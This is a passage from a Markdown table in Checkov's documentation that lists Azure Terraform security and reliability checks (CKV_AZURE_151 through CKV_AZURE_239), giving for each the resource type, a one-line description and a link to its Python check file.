[MLComputeClusterMinNodes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MLComputeClusterMinNodes.py) | | 3870 | CKV_AZURE_151 | resource | azurerm_windows_virtual_machine | Ensure Windows VM enables encryption | Terraform | [WinVMEncryptionAtHost.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/WinVMEncryptionAtHost.py) | | 3871 | CKV_AZURE_152 | resource | azurerm_api_management | Ensure Client Certificates are enforced for API management | Terraform | [APIManagementCertsEnforced.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/APIManagementCertsEnforced.py) | | 3872 | CKV_AZURE_153 | resource | azurerm_app_service_slot | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot | Terraform | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSlotHTTPSOnly.py) | | 3873 | CKV_AZURE_153 | resource | azurerm_linux_web_app_slot | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot | Terraform | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSlotHTTPSOnly.py) | | 3874 | CKV_AZURE_153 | resource | azurerm_windows_web_app_slot | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot | Terraform | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSlotHTTPSOnly.py) | | 3875 | CKV_AZURE_154 | resource | azurerm_app_service_slot | Ensure the App service slot is using the latest version of TLS encryption | Terraform | [AppServiceSlotMinTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSlotMinTLS.py) | | 3876 | CKV_AZURE_155 | resource | azurerm_app_service_slot | Ensure debugging is disabled for the App service slot | Terraform | [AppServiceSlotDebugDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSlotDebugDisabled.py) | | 3877 | CKV_AZURE_156 | resource | azurerm_mssql_database_extended_auditing_policy | Ensure default Auditing policy for a SQL Server is configured to capture and retain the activity logs | Terraform | [MSSQLServerAuditPolicyLogMonitor.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MSSQLServerAuditPolicyLogMonitor.py) | | 3878 | CKV_AZURE_157 | resource | azurerm_synapse_workspace | Ensure that Synapse workspace has data_exfiltration_protection_enabled | Terraform | [SynapseWorkspaceEnablesDataExfilProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SynapseWorkspaceEnablesDataExfilProtection.py) | | 3879 | CKV_AZURE_158 | resource | azurerm_databricks_workspace | Ensure Databricks Workspace data plane to control plane communication happens over private link | Terraform | [DatabricksWorkspaceIsNotPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DatabricksWorkspaceIsNotPublic.py) | | 3880 | CKV_AZURE_159 | resource | azurerm_function_app | Ensure function app builtin logging is enabled | Terraform | [FunctionAppEnableLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppEnableLogging.py) | | 3881 | CKV_AZURE_159 | resource | azurerm_function_app_slot | Ensure function app builtin logging is enabled | Terraform | [FunctionAppEnableLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppEnableLogging.py) | | 3882 | CKV_AZURE_160 | resource | azurerm_network_security_group | Ensure that HTTP (port 80) access is restricted from the internet | Terraform | [NSGRuleHTTPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleHTTPAccessRestricted.py) | | 3883 | CKV_AZURE_160 | resource | azurerm_network_security_rule | Ensure that HTTP (port 80) access is restricted from the internet | Terraform | [NSGRuleHTTPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleHTTPAccessRestricted.py) | | 3884 | CKV_AZURE_161 | resource | azurerm_spring_cloud_api_portal | Ensures Spring Cloud API Portal is enabled on for HTTPS | Terraform | [SpringCloudAPIPortalHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SpringCloudAPIPortalHTTPSOnly.py) | | 3885 | CKV_AZURE_162 | resource | azurerm_spring_cloud_api_portal | Ensures Spring Cloud API Portal Public Access Is Disabled | Terraform | [SpringCloudAPIPortalPublicAccessIsDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SpringCloudAPIPortalPublicAccessIsDisabled.py) | | 3886 | CKV_AZURE_163 | resource | azurerm_container_registry | Enable vulnerability scanning for container images. | Terraform | [ACRContainerScanEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRContainerScanEnabled.py) | | 3887 | CKV_AZURE_164 | resource | azurerm_container_registry | Ensures that ACR uses signed/trusted images | Terraform | [ACRUseSignedImages.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRUseSignedImages.py) | | 3888 | CKV_AZURE_165 | resource | azurerm_container_registry | Ensure geo-replicated container registries to match multi-region container deployments. | Terraform | [ACRGeoreplicated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRGeoreplicated.py) | | 3889 | CKV_AZURE_166 | resource | azurerm_container_registry | Ensure container image quarantine, scan, and mark images verified | Terraform | [ACREnableImageQuarantine.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACREnableImageQuarantine.py) | | 3890 | CKV_AZURE_167 | resource | azurerm_container_registry | Ensure a retention policy is set to cleanup untagged manifests. | Terraform | [ACREnableRetentionPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACREnableRetentionPolicy.py) | | 3891 | CKV_AZURE_168 | resource | azurerm_kubernetes_cluster | Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods. | Terraform | [AKSMaxPodsMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSMaxPodsMinimum.py) | | 3892 | CKV_AZURE_168 | resource | azurerm_kubernetes_cluster_node_pool | Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods. | Terraform | [AKSMaxPodsMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSMaxPodsMinimum.py) | | 3893 | CKV_AZURE_169 | resource | azurerm_kubernetes_cluster | Ensure Azure Kubernetes Cluster (AKS) nodes use scale sets | Terraform | [AKSPoolTypeIsScaleSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSPoolTypeIsScaleSet.py) | | 3894 | CKV_AZURE_170 | resource | azurerm_kubernetes_cluster | Ensure that AKS use the Paid Sku for its SLA | Terraform | [AKSIsPaidSku.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSIsPaidSku.py) | | 3895 | CKV_AZURE_171 | resource | azurerm_kubernetes_cluster | Ensure AKS cluster upgrade channel is chosen | Terraform | [AKSUpgradeChannel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSUpgradeChannel.py) | | 3896 | CKV_AZURE_172 | resource | azurerm_kubernetes_cluster | Ensure autorotation of Secrets Store CSI Driver secrets for AKS clusters | Terraform | [AKSSecretStoreRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSSecretStoreRotation.py) | | 3897 | CKV_AZURE_173 | resource | azurerm_api_management | Ensure API management uses at least TLS 1.2 | Terraform | [APIManagementMinTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/APIManagementMinTLS12.py) | | 3898 | CKV_AZURE_174 | resource | azurerm_api_management | Ensure API management public access is disabled | Terraform | [APIManagementPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/APIManagementPublicAccess.py) | | 3899 | CKV_AZURE_175 | resource | azurerm_web_pubsub | Ensure Web PubSub uses a SKU with an SLA | Terraform | [PubsubSKUSLA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PubsubSKUSLA.py) | | 3900 | CKV_AZURE_176 | resource | azurerm_web_pubsub | Ensure Web PubSub uses managed identities to access Azure resources | Terraform | [PubsubSpecifyIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PubsubSpecifyIdentity.py) | | 3901 | CKV_AZURE_177 | resource | azurerm_windows_virtual_machine | Ensure Windows VM enables automatic updates | Terraform | [WinVMAutomaticUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/WinVMAutomaticUpdates.py) | | 3902 | CKV_AZURE_177 | resource | azurerm_windows_virtual_machine_scale_set | Ensure Windows VM enables automatic updates | Terraform | [WinVMAutomaticUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/WinVMAutomaticUpdates.py) | | 3903 | CKV_AZURE_178 | resource | azurerm_linux_virtual_machine | Ensure linux VM enables SSH with keys for secure communication | Terraform | [LinuxVMUsesSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/LinuxVMUsesSSH.py) | | 3904 | CKV_AZURE_178 | resource | azurerm_linux_virtual_machine_scale_set | Ensure linux VM enables SSH with keys for secure communication | Terraform | [LinuxVMUsesSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/LinuxVMUsesSSH.py) | | 3905 | CKV_AZURE_179 | resource | azurerm_linux_virtual_machine | Ensure VM agent is installed | Terraform | [VMAgentIsInstalled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMAgentIsInstalled.py) | | 3906 | CKV_AZURE_179 | resource | azurerm_linux_virtual_machine_scale_set | Ensure VM agent is installed | Terraform | [VMAgentIsInstalled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMAgentIsInstalled.py) | | 3907 | CKV_AZURE_179 | resource | azurerm_windows_virtual_machine | Ensure VM agent is installed | Terraform | [VMAgentIsInstalled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMAgentIsInstalled.py) | | 3908 | CKV_AZURE_179 | resource | azurerm_windows_virtual_machine_scale_set | Ensure VM agent is installed | Terraform | [VMAgentIsInstalled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMAgentIsInstalled.py) | | 3909 | CKV_AZURE_180 | resource | azurerm_kusto_cluster | Ensure that data explorer uses Sku with an SLA | Terraform | [DataExplorerSKUHasSLA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DataExplorerSKUHasSLA.py) | | 3910 | CKV_AZURE_181 | resource | azurerm_kusto_cluster | Ensure that data explorer/Kusto uses managed identities to access Azure resources securely. | Terraform | [DataExplorerServiceIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DataExplorerServiceIdentity.py) | | 3911 | CKV_AZURE_182 | resource | azurerm_virtual_network | Ensure that VNET has at least 2 connected DNS Endpoints | Terraform | [VnetSingleDNSServer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VnetSingleDNSServer.py) | | 3912 | CKV_AZURE_182 | resource | azurerm_virtual_network_dns_servers | Ensure that VNET has at least 2 connected DNS Endpoints | Terraform | [VnetSingleDNSServer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VnetSingleDNSServer.py) | | 3913 | CKV_AZURE_183 | resource | azurerm_virtual_network | Ensure that VNET uses local DNS addresses | Terraform | [VnetLocalDNS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VnetLocalDNS.py) | | 3914 | CKV_AZURE_184 | resource | azurerm_app_configuration | Ensure 'local_auth_enabled' is set to 'False' | Terraform | [AppConfigLocalAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppConfigLocalAuth.py) | | 3915 | CKV_AZURE_185 | resource | azurerm_app_configuration | Ensure 'Public Access' is not Enabled for App configuration | Terraform | [AppConfigPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppConfigPublicAccess.py) | | 3916 | CKV_AZURE_186 | resource | azurerm_app_configuration | Ensure App configuration encryption block is set. | Terraform | [AppConfigEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppConfigEncryption.py) | | 3917 | CKV_AZURE_187 | resource | azurerm_app_configuration | Ensure App configuration purge protection is enabled | Terraform | [AppConfigPurgeProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppConfigPurgeProtection.py) | | 3918 | CKV_AZURE_188 | resource | azurerm_app_configuration | Ensure App configuration Sku is standard | Terraform | [AppConfigSku.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppConfigSku.py) | | 3919 | CKV_AZURE_189 | resource | azurerm_key_vault | Ensure that Azure Key Vault disables public network access | Terraform | [KeyVaultDisablesPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyVaultDisablesPublicNetworkAccess.py) | | 3920 | CKV_AZURE_190 | resource | azurerm_storage_account | Ensure that Storage blobs restrict public access | Terraform | [StorageBlobRestrictPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageBlobRestrictPublicAccess.py) | | 3921 | CKV_AZURE_191 | resource | azurerm_eventgrid_topic | Ensure that Managed identity provider is enabled for Azure Event Grid Topic | Terraform | [EventgridTopicIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventgridTopicIdentityProviderEnabled.py) | | 3922 | CKV_AZURE_192 | resource | azurerm_eventgrid_topic | Ensure that Azure Event Grid Topic local Authentication is disabled | Terraform | [EventgridTopicLocalAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventgridTopicLocalAuthentication.py) | | 3923 | CKV_AZURE_193 | resource | azurerm_eventgrid_topic | Ensure public network access is disabled for Azure Event Grid Topic | Terraform | [EventgridTopicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventgridTopicNetworkAccess.py) | | 3924 | CKV_AZURE_194 | resource | azurerm_eventgrid_domain | Ensure that Managed identity provider is enabled for Azure Event Grid Domain | Terraform | [EventgridDomainIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventgridDomainIdentityProviderEnabled.py) | | 3925 | CKV_AZURE_195 | resource | azurerm_eventgrid_domain | Ensure that Azure Event Grid Domain local Authentication is disabled | Terraform | [EventgridDomainLocalAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventgridDomainLocalAuthentication.py) | | 3926 | CKV_AZURE_196 | resource | azurerm_signalr_service | Ensure that SignalR uses a Paid Sku for its SLA | Terraform | [SignalRSKUSLA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SignalRSKUSLA.py) | | 3927 | CKV_AZURE_197 | resource | azurerm_cdn_endpoint | Ensure the Azure CDN disables the HTTP endpoint | Terraform | [CDNDisableHttpEndpoints.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CDNDisableHttpEndpoints.py) | | 3928 | CKV_AZURE_198 | resource | azurerm_cdn_endpoint | Ensure the Azure CDN enables the HTTPS endpoint | Terraform | [CDNEnableHttpsEndpoints.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CDNEnableHttpsEndpoints.py) | | 3929 | CKV_AZURE_199 | resource | azurerm_servicebus_namespace | Ensure that Azure Service Bus uses double encryption | Terraform | [AzureServicebusDoubleEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServicebusDoubleEncryptionEnabled.py) | | 3930 | CKV_AZURE_200 | resource | azurerm_cdn_endpoint_custom_domain | Ensure the Azure CDN endpoint is using the latest version of TLS encryption | Terraform | [CDNTLSProtocol12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CDNTLSProtocol12.py) | | 3931 | CKV_AZURE_201 | resource | azurerm_servicebus_namespace | Ensure that Azure Service Bus uses a customer-managed key to encrypt data | Terraform | [AzureServicebusHasCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServicebusHasCMK.py) | | 3932 | CKV_AZURE_202 | resource | azurerm_servicebus_namespace | Ensure that Managed identity provider is enabled for Azure Service Bus | Terraform | [AzureServicebusIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServicebusIdentityProviderEnabled.py) | | 3933 | CKV_AZURE_203 | resource | azurerm_servicebus_namespace | Ensure Azure Service Bus Local Authentication is disabled | Terraform | [AzureServicebusLocalAuthDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServicebusLocalAuthDisabled.py) | | 3934 | CKV_AZURE_204 | resource | azurerm_servicebus_namespace | Ensure 'public network access enabled' is set to 'False' for Azure Service Bus | Terraform | [AzureServicebusPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServicebusPublicAccessDisabled.py) | | 3935 | CKV_AZURE_205 | resource | azurerm_servicebus_namespace | Ensure Azure Service Bus is using the latest version of TLS encryption | Terraform | [AzureServicebusMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServicebusMinTLSVersion.py) | | 3936 | CKV_AZURE_206 | resource | azurerm_storage_account | Ensure that Storage Accounts use replication | Terraform | [StorageAccountsUseReplication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountsUseReplication.py) | | 3937 | CKV_AZURE_207 | resource | azurerm_search_service | Ensure Azure Cognitive Search service uses managed identities to access Azure resources | Terraform | [AzureSearchManagedIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureSearchManagedIdentity.py) | | 3938 | CKV_AZURE_208 | resource | azurerm_search_service | Ensure that Azure Cognitive Search maintains SLA for index updates | Terraform | [AzureSearchSLAIndex.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureSearchSLAIndex.py) | | 3939 | CKV_AZURE_209 | resource | azurerm_search_service | Ensure that Azure Cognitive Search maintains SLA for search index queries | Terraform | [AzureSearchSLAQueryUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureSearchSLAQueryUpdates.py) | | 3940 | CKV_AZURE_210 | resource | azurerm_search_service | Ensure Azure Cognitive Search service allowed IPS does not give public Access | Terraform | [AzureSearchAllowedIPsNotGlobal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureSearchAllowedIPsNotGlobal.py) | | 3941 | CKV_AZURE_211 | resource | azurerm_service_plan | Ensure App Service plan suitable for production use | Terraform | [AppServiceSkuMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSkuMinimum.py) | | 3942 | CKV_AZURE_212 | resource | azurerm_service_plan | Ensure App Service has a minimum number of instances for failover | Terraform | [AppServiceInstanceMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceInstanceMinimum.py) | | 3943 | CKV_AZURE_213 | resource | azurerm_app_service | Ensure that App Service configures health check | Terraform | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSetHealthCheck.py) | | 3944 | CKV_AZURE_213 | resource | azurerm_linux_web_app | Ensure that App Service configures health check | Terraform | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSetHealthCheck.py) | | 3945 | CKV_AZURE_213 | resource | azurerm_windows_web_app | Ensure that App Service configures health check | Terraform | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSetHealthCheck.py) | | 3946 | CKV_AZURE_214 | resource | azurerm_linux_web_app | Ensure App Service is set to be always on | Terraform | [AppServiceAlwaysOn.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceAlwaysOn.py) | | 3947 | CKV_AZURE_214 | resource | azurerm_windows_web_app | Ensure App Service is set to be always on | Terraform | [AppServiceAlwaysOn.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceAlwaysOn.py) | | 3948 | CKV_AZURE_215 | resource | azurerm_api_management_backend | Ensure API management backend uses https | Terraform | [APIManagementBackendHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/APIManagementBackendHTTPS.py) | | 3949 | CKV_AZURE_216 | resource | azurerm_firewall | Ensure DenyIntelMode is set to Deny for Azure Firewalls | Terraform | [AzureFirewallDenyThreatIntelMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureFirewallDenyThreatIntelMode.py) | | 3950 | CKV_AZURE_217 | resource | azurerm_application_gateway | Ensure Azure Application gateways listener that allow connection requests over HTTP | Terraform | [AppGWUsesHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppGWUsesHttps.py) | | 3951 | CKV_AZURE_218 | resource | azurerm_application_gateway | Ensure Application Gateway defines secure protocols for in transit communication | Terraform | [AppGWDefinesSecureProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppGWDefinesSecureProtocols.py) | | 3952 | CKV_AZURE_219 | resource | azurerm_firewall | Ensure Firewall defines a firewall policy | Terraform | [AzureFirewallDefinesPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureFirewallDefinesPolicy.py) | | 3953 | CKV_AZURE_220 | resource | azurerm_firewall_policy | Ensure Firewall policy has IDPS mode as deny | Terraform | [AzureFirewallPolicyIDPSDeny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureFirewallPolicyIDPSDeny.py) | | 3954 | CKV_AZURE_221 | resource | azurerm_linux_function_app | Ensure that Azure Function App public network access is disabled | Terraform | [FunctionAppPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppPublicAccessDisabled.py) | | 3955 | CKV_AZURE_221 | resource | azurerm_linux_function_app_slot | Ensure that Azure Function App public network access is disabled | Terraform | [FunctionAppPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppPublicAccessDisabled.py) | | 3956 | CKV_AZURE_221 | resource | azurerm_windows_function_app | Ensure that Azure Function App public network access is disabled | Terraform | [FunctionAppPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppPublicAccessDisabled.py) | | 3957 | CKV_AZURE_221 | resource | azurerm_windows_function_app_slot | Ensure that Azure Function App public network access is disabled | Terraform | [FunctionAppPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppPublicAccessDisabled.py) | | 3958 | CKV_AZURE_222 | resource | azurerm_linux_web_app | Ensure that Azure Web App public network access is disabled | Terraform | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServicePublicAccessDisabled.py) | | 3959 | CKV_AZURE_222 | resource | azurerm_windows_web_app | Ensure that Azure Web App public network access is disabled | Terraform | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServicePublicAccessDisabled.py) | | 3960 | CKV_AZURE_223 | resource | azurerm_eventhub_namespace | Ensure Event Hub Namespace uses at least TLS 1.2 | Terraform | [EventHubNamespaceMinTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventHubNamespaceMinTLS12.py) | | 3961 | CKV_AZURE_224 | resource | azurerm_mssql_database | Ensure that the Ledger feature is enabled on database that requires cryptographic proof and nonrepudiation of data integrity | Terraform | [SQLDatabaseLedgerEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLDatabaseLedgerEnabled.py) | | 3962 | CKV_AZURE_225 | resource | azurerm_service_plan | Ensure the App Service Plan is zone redundant | Terraform | [AppServicePlanZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServicePlanZoneRedundant.py) | | 3963 | CKV_AZURE_226 | resource | azurerm_kubernetes_cluster | Ensure ephemeral disks are used for OS disks | Terraform | [AKSEphemeralOSDisks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSEphemeralOSDisks.py) | | 3964 | CKV_AZURE_227 | resource | azurerm_kubernetes_cluster | Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources | Terraform | [AKSEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSEncryptionAtHostEnabled.py) | | 3965 | CKV_AZURE_227 | resource | azurerm_kubernetes_cluster_node_pool | Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources | Terraform | [AKSEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSEncryptionAtHostEnabled.py) | | 3966 | CKV_AZURE_228 | resource | azurerm_eventhub_namespace | Ensure the Azure Event Hub Namespace is zone redundant | Terraform | [EventHubNamespaceZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventHubNamespaceZoneRedundant.py) | | 3967 | CKV_AZURE_229 | resource | azurerm_mssql_database | Ensure the Azure SQL Database Namespace is zone redundant | Terraform | [SQLDatabaseZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLDatabaseZoneRedundant.py) | | 3968 | CKV_AZURE_230 | resource | azurerm_redis_cache | Standard Replication should be enabled | Terraform | [RedisCacheStandardReplicationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/RedisCacheStandardReplicationEnabled.py) | | 3969 | CKV_AZURE_231 | resource | azurerm_app_service_environment_v3 | Ensure App Service Environment is zone redundant | Terraform | [AppServiceEnvironmentZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceEnvironmentZoneRedundant.py) | | 3970 | CKV_AZURE_232 | resource | azurerm_kubernetes_cluster | Ensure that only critical system pods run on system nodes | Terraform | [AKSOnlyCriticalPodsOnSystemNodes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSOnlyCriticalPodsOnSystemNodes.py) | | 3971 | CKV_AZURE_233 | resource | azurerm_container_registry | Ensure Azure Container Registry (ACR) is zone redundant | Terraform | [ACREnableZoneRedundancy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACREnableZoneRedundancy.py) | | 3972 | CKV_AZURE_234 | resource | azurerm_security_center_subscription_pricing | Ensure that Azure Defender for cloud is set to On for Resource Manager | Terraform | [AzureDefenderDisabledForResManager.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderDisabledForResManager.py) | | 3973 | CKV_AZURE_235 | resource | azurerm_container_group | Ensure that Azure container environment variables are configured with secure values only | Terraform | [AzureContainerInstanceEnvVarSecureValueType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureContainerInstanceEnvVarSecureValueType.py) | | 3974 | CKV_AZURE_236 | resource | azurerm_cognitive_account | Ensure that Cognitive Services accounts disable local authentication | Terraform | [CognitiveServicesEnableLocalAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CognitiveServicesEnableLocalAuth.py) | | 3975 | CKV_AZURE_237 | resource | azurerm_container_registry | Ensure dedicated data endpoints are enabled. | Terraform | [ACRDedicatedDataEndpointEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRDedicatedDataEndpointEnabled.py) | | 3976 | CKV_AZURE_238 | resource | azurerm_cognitive_account | Ensure that all Azure Cognitive Services accounts are configured with a managed identity | Terraform | [CognitiveServicesConfigureIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CognitiveServicesConfigureIdentity.py) | | 3977 | CKV_AZURE_239 | resource | azurerm_synapse_workspace | Ensure Azure Synapse Workspace administrator login password is not exposed | Terraform | 